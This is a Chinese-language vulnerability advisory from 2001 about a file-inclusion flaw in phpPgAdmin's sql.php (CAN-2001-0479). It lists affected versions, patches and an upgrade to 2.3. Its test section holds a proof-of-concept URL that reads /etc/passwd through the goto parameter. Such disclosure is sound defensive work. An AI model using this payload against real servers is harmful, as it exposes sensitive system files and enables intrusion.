发布日期：2001-07-10
更新日期：2001-07-10

受影响系统：

phpPgAdmin phpPgAdmin 2.2.1pl1
phpPgAdmin phpPgAdmin 2.2.1
phpPgAdmin phpPgAdmin 2.2

不受影响系统：

phpPgAdmin phpPgAdmin 2.3

描述：

---

BUGTRAQ  ID: 2640
CVE(CAN) ID: CAN-2001-0479

phpPgAdmin是一个免费的基于PHP开发的软件包，它为PostgreSQL数据库管理提供
了一个图形界面。

由于sql.php没有充分对用户的输入进行验证，导致攻击者可能在该脚本中嵌入任意文
件，这可能会导致系统敏感信息的泄露或者是任意命令的执行。

<*来源：Secure Reality Pty Ltd.：SRPRE00001  
       http://www.securereality.com.au
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://<vulnerablehost>/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd

建议：

---

临时解决方法：

Secure Reality Pty提供了一个临时的补丁来解决此问题:
phpPgAdmin 2.2.1:

http://www.securereality.com.au/patches/phpPgAdmin-SecureReality.diff

厂商补丁：

NSFOCUS建议您立刻升级到phpPgAdmin 2.3或更新版本：

http://www.greatbridge.org/project/phppgadmin/projdisplay.php

浏览次数：3946
严重程度：0（网友投票）